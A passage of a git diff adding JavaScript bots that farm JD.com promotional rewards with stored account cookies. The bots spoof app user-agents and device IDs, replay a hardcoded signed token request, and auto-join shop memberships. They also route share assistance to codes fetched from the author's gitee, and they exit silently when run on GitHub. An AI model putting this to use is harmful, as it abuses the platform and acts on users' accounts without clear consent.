'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjd.com/${function_id}` : `https://lzdz1-isv.isvjd.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjd.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjd.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjd.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + // $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl }, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_lzdz2_fashion.js b/backUp/jd_lzdz2_fashion.js new file mode 100644 index 0000000..6f455cc --- /dev/null +++ b/backUp/jd_lzdz2_fashion.js @@ -0,0 +1,530 @@ +/* +时尚宠粉趴 +https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/13145?activityId=1ad06f0cb93e4928a894e3b984c2fa4b +**/ + +const $ = new Env("超店会员福利社"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/lzdz2_fashion.json') + if(authorCodeList === '404: Not Found'){ + authorCodeList = [ + 'b3b3f59c9015493a9d8e2f1d5d9b92ea', + ] + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + console.log('更新ck'); + continue + } + // authorCodeList = [ + // 'b3b3f59c9015493a9d8e2f1d5d9b92ea', + // ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = '1ad06f0cb93e4928a894e3b984c2fa4b' + $.activityShopId = '59809' + $.activityUrl = `https://lzdz2-isv.isvjcloud.com/dingzhi/fashion/recruit/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await rush(); + await $.wait(1000) + console.log("重复执行一次,技术有限不知道为什么") + await rush(); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function rush() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + $.openStatusNum = 0 + await getFirstLZCK() + await getToken(); + await task('wxCommonInfo/getSystemConfigForNew', `activityId=${$.activityId}&activityType=99`, 1) + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力: "+$.authorCode) + await $.wait(1000) + await task('common/accessLogWithAD', `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('fashion/recruit/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(1000) + await task('fashion/recruit/initOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}`) + if ($.activityContent) { + for(let i in $.openInfo){ + console.log($.openInfo[i]) + if(!$.openInfo[i]['openStatus']){ + console.log("加入会员: "+$.openInfo[i]['venderId']) + await getShopOpenCardInfo({ "venderId": $.openInfo[i]['venderId'], "channel": "401" }, $.openInfo[i]['venderId']) + await bindWithVender({ "venderId": $.openInfo[i]['venderId'], "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, $.openInfo[i]['venderId']) + await $.wait(1000) + } + } + console.log("关注店铺: ") + await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=23&taskValue=23`) + await $.wait(1000) + console.log("流览会场: ") + await task("fashion/recruit/saveTask", `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&shareUuid=${encodeURIComponent($.authorCode)}&pin=${encodeURIComponent($.secretPin)}&taskType=12&taskValue=12`) + } + await task("fashion/recruit/getInitInfo", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityShopId = data.data.shopId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + break; + case 'fashion/recruit/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log("你的助力码 -> "+ownCode) + } + $.activityContent = data.data; + $.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case 'fashion/recruit/saveFirst': + if(data.result){ + console.log("获得抽奖次数") + } + break; + case 'fashion/recruit/saveTask': + console.log(data) + break; + case 'fashion/recruit/getInitInfo': + console.log(data) + break; + case 'fashion/recruit/initOpenCard': + $.openInfo = data.data.openInfo + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: 